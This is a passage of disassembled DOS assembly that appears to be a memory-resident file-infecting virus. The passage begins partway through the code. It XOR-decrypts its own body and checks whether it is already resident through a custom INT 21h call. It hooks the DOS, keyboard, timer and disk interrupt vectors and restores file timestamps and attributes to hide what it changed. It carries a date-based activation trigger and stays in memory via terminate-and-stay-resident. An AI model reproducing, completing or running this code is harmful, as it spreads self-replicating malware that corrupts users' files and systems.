		mov	bx,cs:data_33e		; (6C23:0028=0)
		mov	dx,cs:data_35e		; (6C23:002C=0)
		mov	cx,cs:data_36e		; (6C23:002E=0)
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  get/set file date & time
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		lds	dx,dword ptr cs:data_31e	; (6C23:0024=0) Load 32 bit ptr
		mov	cx,cs:data_34e		; (6C23:002A=0)
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
		lds	dx,dword ptr cs:data_42e	; (6C23:003C=0) Load 32 bit ptr
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
loc_59:
		pop	es
		pop	ds
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		popf				; Pop flags
		jmp	dword ptr cs:data_41e	; (6C23:0038=0)
  
;==========================================================================
;			       SUBROUTINE
;==========================================================================
  
sub_4		proc	near
		push	ds
		push	es
		push	di
		push	si
		push	cx
		push	ax
		push	cs
		pop	es
		push	cs
		pop	ds
		mov	si,6Bh
		mov	di,si
		mov	cx,0B6h
		mov	ah,ds:data_24e		; (6C23:0005=0)
  
locloop_60:
		lodsb				; String [si] to al
		xor	al,ah
		stosb				; Store al to es:[di]
		loop	locloop_60		; Loop if cx > 0
  
		pop	ax
		pop	cx
		pop	si
		pop	di
		pop	es
		pop	ds
		retn
sub_4		endp
  
  
;==========================================================================
;			       SUBROUTINE
;==========================================================================
  
sub_5		proc	near
		xor	ax,ax			; Zero register
		mov	bx,ax
		mov	dx,ax
		mov	si,ax
		mov	di,ax
		retn
sub_5		endp
  
loc_61:
		cld				; Clear direction
		mov	ax,4B40h
		int	21h			; DOS Services  ah=function 4Bh
						;  run progm @ds:dx, parm @es:bx
		cmp	ax,5678h
		jne	loc_62			; Jump if not equal
		mov	ax,4B41h
		mov	di,100h
		mov	si,0BC4h
		add	si,di
		mov	cx,cs:[di+32h]
		nop				;*Fixup for MASM (M)
		int	21h			; DOS Services  ah=function 4Bh
						;  run progm @ds:dx, parm @es:bx
loc_62:
		mov	ax,cs
		add	ax,10h
		mov	ss,ax
		mov	sp,0BB4h
		push	ax
		mov	ax,900h
		push	ax
		retf				; Return far
		db	0FCh, 6, 2Eh, 8Ch, 6, 40h
		db	0, 2Eh, 8Ch, 6, 8Eh, 0
		db	2Eh, 8Ch, 6, 92h, 0, 2Eh
		db	8Ch, 6, 96h, 0, 8Ch, 0C0h
		db	5, 10h, 0, 2Eh, 1, 6
		db	1Eh, 0, 2Eh, 1, 6, 1Ah
		db	0, 0B8h, 40h, 4Bh, 0CDh, 21h
		db	3Dh, 78h, 56h, 75h, 13h, 7
		db	2Eh, 8Eh, 16h, 1Ah, 0, 2Eh
		db	8Bh, 26h, 18h, 0, 0E8h, 8Bh
		db	0FFh, 2Eh, 0FFh, 2Eh, 1Ch, 0
		db	0E8h, 60h, 0FFh, 0B4h, 0, 0CDh
		db	1Ah, 8Bh, 0DAh
loc_63:
		int	1Ah			; Real time clock   ah=func 00h
						;  get system timer count cx,dx
		cmp	bx,dx
		je	loc_63			; Jump if equal
		xor	si,si			; Zero register
		mov	bx,dx
loc_64:
		int	1Ah			; Real time clock   ah=func 00h
						;  get system timer count cx,dx
		inc	si
		cmp	bx,dx
		je	loc_64			; Jump if equal
		mov	word ptr cs:data_48e,0A000h	; (6C23:0064=0)
		mov	bx,si
		sub	bx,50h
		cmp	bx,0A00h
		jae	loc_65			; Jump if above or =
		mov	cl,4
		shl	bx,cl			; Shift w/zeros fill
		mov	cs:data_48e,bx		; (6C23:0064=0)
loc_65:
		xor	ax,ax			; Zero register
		mov	es,ax
		mov	ax,es:data_1e		; (0000:03FC=0F000h)
		mov	cs:data_44e,ax		; (6C23:0042=0)
		mov	al,es:data_2e		; (0000:03FE=16h)
		mov	cs:data_45e,al		; (6C23:0044=0)
		mov	word ptr es:data_1e,0A5F3h	; (0000:03FC=0F000h)
		mov	byte ptr es:data_2e,0CBh	; (0000:03FE=16h)
		pop	ax
		add	ax,10h
		mov	es,ax
		push	cs
		pop	ds
		mov	cx,0BC4h
		shr	cx,1			; Shift w/zeros fill
		xor	si,si			; Zero register
		mov	di,si
		push	es
		mov	ax,9B3h
		push	ax
;*		jmp	far ptr loc_1		;*(0000:03FC)
		db	0EAh, 0FCh, 3, 0, 0
		db	8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0B4h
		db	0Bh, 33h, 0C0h, 8Eh, 0D8h, 2Eh
		db	0A1h, 42h, 0, 0A3h, 0FCh, 3
		db	2Eh, 0A0h, 44h, 0, 0A2h, 0FEh
		db	3, 8Bh, 0DCh, 0B1h, 4, 0D3h
		db	0EBh, 83h, 0C3h, 20h, 0B4h, 4Ah
		db	2Eh, 8Eh, 6, 40h, 0, 0CDh
		db	21h, 0B8h, 21h, 35h, 0CDh, 21h
		db	2Eh, 89h, 1Eh, 38h, 0, 2Eh
		db	8Ch, 6, 3Ah, 0, 0Eh, 1Fh
		db	0BAh, 11h, 5, 0B8h, 21h, 25h
		db	0CDh, 21h, 8Eh, 6, 40h, 0
		db	26h, 8Eh, 6, 2Ch, 0, 33h
		db	0FFh, 0B9h, 0FFh, 7Fh, 32h, 0C0h
  
locloop_66:
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		cmp	es:[di],al
		loopnz	locloop_66		; Loop if zf=0, cx>0
  
		mov	dx,di
		add	dx,3
		mov	ax,4B00h
		push	es
		pop	ds
		push	cs
		pop	es
		mov	bx,8Ah
		push	ds
		push	es
		push	ax
		push	bx
		push	cx
		push	dx
		push	cs
		pop	ds
		mov	ah,2Ah			; '*'
		int	21h			; DOS Services  ah=function 2Ah
						;  get date, cx=year, dx=mon/day
		sub	cx,7BCh
		mov	ax,cx
		mov	bx,dx
		mov	cx,168h
		mul	cx			; dx:ax = reg * ax
		xchg	ax,bx
		add	bl,al
		adc	bh,0
		mov	al,ah
		mov	cl,1Eh
		mul	cl			; ax = reg * al
		add	ax,bx
		sub	ax,ds:data_37e		; (6C23:0030=0)
		ja	loc_67			; Jump if above
		jmp	loc_70			; (0BD0)
loc_67:
		add	ds:data_37e,ax		; (6C23:0030=0)
		cmp	ax,7
		ja	loc_68			; Jump if above
		jmp	short loc_70		; (0BD0)
		db	90h
loc_68:
		mov	ax,3508h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_39e,bx		; (6C23:0034=0)
		mov	word ptr ds:data_39e+2,es	; (6C23:0036=0)
		push	cs
		pop	ds
		mov	ah,2Ch			; ','
		int	21h			; DOS Services  ah=function 2Ch
						;  get time, cx=hrs/min, dh=sec
		mov	cl,dh
		and	cl,1
		cmp	cl,0
		mov	dx,2AEh
		mov	byte ptr ds:data_51e,0	; (6C23:0069=0)
		jnz	loc_69			; Jump if not zero
		mov	dx,2D2h
		mov	byte ptr ds:data_51e,1	; (6C23:0069=0)
loc_69:
		mov	word ptr ds:data_23e,1	; (6C23:0003=0)
		mov	data_54,0		; (6C23:0122=0)
		mov	data_53,1		; (6C23:0121=2)
		mov	byte ptr ds:data_50e,0	; (6C23:0068=0)
		mov	byte ptr ds:data_52e,0	; (6C23:006A=0)
		mov	ax,2508h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,3509h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_25e,bx		; (6C23:0006=0)
		mov	word ptr ds:data_25e+2,es	; (6C23:0008=0)
		mov	dx,35Dh
		mov	ax,2509h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,3513h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_27e,bx		; (6C23:000A=0)
		mov	word ptr ds:data_27e+2,es	; (6C23:000C=0)
		mov	dx,4EFh
		mov	ax,2513h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
loc_70:
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		pop	es
		pop	ds
		pushf				; Push flags
		call	dword ptr cs:data_41e	; (6C23:0038=0)
		push	ds
		pop	es
		mov	ah,49h			; 'I'
		int	21h			; DOS Services  ah=function 49h
						;  release memory block, es=seg
		mov	ah,4Dh			; 'M'
		int	21h			; DOS Services  ah=function 4Dh
						;  get return code info in ax
		mov	ah,31h			; '1'
		mov	dx,0BC4h
		mov	cl,4
		shr	dx,cl			; Shift w/zeros fill
		add	dx,10h
		int	21h			; DOS Services  ah=function 31h
						;  terminate & stay resident
		db	154 dup (0)
		db	6Ch, 15h, 2, 2Ah, 8Ah, 0
		db	0BCh, 7, 1, 1, 0C4h, 0Bh
		db	6Ch, 15h, 73h, 12h, 0F4h, 2
		db	4, 7Fh, 0CCh, 0, 0C4h, 0Bh
		db	1Dh, 0, 0, 0, 6Fh, 12h
		db	0AFh, 0Eh, 0F4h, 0Ah, 73h, 12h
		db	6, 0F2h, 82h, 0F0h, 0EBh, 6Fh
		db	66h, 2, 0EBh, 6Fh, 57h, 9
		db	0, 70h, 5Ah, 0, 0, 0C0h
		db	7Ch, 90h
		db	20 dup (90h)
		db	0CDh, 21h
  
seg_a		ends
  
  
  
		end	start